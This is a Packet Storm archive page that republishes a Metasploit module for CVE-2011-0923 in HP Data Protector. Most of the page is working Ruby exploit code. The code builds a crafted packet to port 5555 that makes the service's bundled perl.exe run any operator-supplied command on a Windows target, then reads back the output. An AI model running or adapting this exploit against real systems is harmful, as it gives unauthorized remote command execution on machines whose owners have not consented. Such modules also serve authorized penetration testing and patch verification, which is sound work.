exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP Data Protector Arbitrary Remote Command Execution

HP Data Protector Arbitrary Remote Command Execution
Posted Aug 7, 2013
Authored by Alessandro Di Pinto, Claudio Moletta | Site metasploit.com

This Metasploit module allows execution of a command with an arbitrary number of arguments on Microsoft Windows operating systems. The trick calls a perl.exe interpreter installed with HP Data Protector inside the directory {install_path}/bin/. The main goal of the script is to bypass the limitation of execute only a single command without parameters, as provided by already existing exploits. It is possible to exploit the security issue in order to run any command inside the target system.

tags | exploit, arbitrary, perl
systems | windows
advisories | CVE-2011-0923, OSVDB-72526
SHA-256 | 5f0f9f62015fe421d3fb88ace93c276d32b36986aa82809a47927f87e8803536

HP Data Protector Arbitrary Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector Arbitrary Remote Command Execution',
'Description' => %q{
This script allows to execute a command with an arbitrary number
of arguments on Microsoft Windows operating systems. The trick
calls a perl.exe interpreter installed with HP Data Protector
inside the directory {install_path}/bin/.

The main goal of the script is to bypass the limitation of execute
only a single command without parameters, as provided by already existing
exploits. It is possible to exploit the security issue in order to run
any command inside the target system.
},

'License' => MSF_LICENSE,
'Author' =>
[
'Alessandro Di Pinto <alessandro.dipinto () artificialstudios org>',
'Claudio Moletta <mclaudio () gmail com>',
],
'References' =>
[
[ 'CVE', '2011-0923'],
[ 'OSVDB', '72526'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143'],
],
))

register_options(
[
Opt::RPORT(5555),
OptString.new('CMD', [ true, 'The OS command to execute', 'ipconfig /all'])
], self.class)
end

def run
begin
command = datastore['CMD']
command = command.gsub("\\","\\\\\\")
offset = 45
size_command = (offset + command.length).chr

crafted_pkt = "\x00\x00\x00"
crafted_pkt << size_command
crafted_pkt << "\x32\x00\x01"
crafted_pkt << "\x01\x01\x01"
crafted_pkt << "\x01\x01\x00"
crafted_pkt << "\x01\x00\x01"
crafted_pkt << "\x00\x01\x00"
crafted_pkt << "\x01\x01\x00"
crafted_pkt << "\x2028\x00"
crafted_pkt << "\\perl.exe"
crafted_pkt << "\x00 -esystem('#{command}')\x00"

print_status "Connecting to target '#{rhost}:#{rport}'"
connect
print_good "Connected"
if (datastore['CMD'])
print_status "Sending payload '#{command}'\n"
sock.put(crafted_pkt)
# Clean and parse results
while true
response_size = sock.recv(4)
response_size = response_size.unpack('N')[0]
break if response_size.nil?
response = sock.recv(response_size)[5..-1]
response = response.delete("\x00")
# Check for the end-of-message
break if response.include?("RETVAL")
print response if not response.empty?
end
end
disconnect

rescue ::Rex::ConnectionRefused
print_error "Connection refused '#{rhost}:#{rport}'"
rescue ::Rex::ConnectionError
print_error "Connection error '#{rhost}:#{rport}'"
end
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close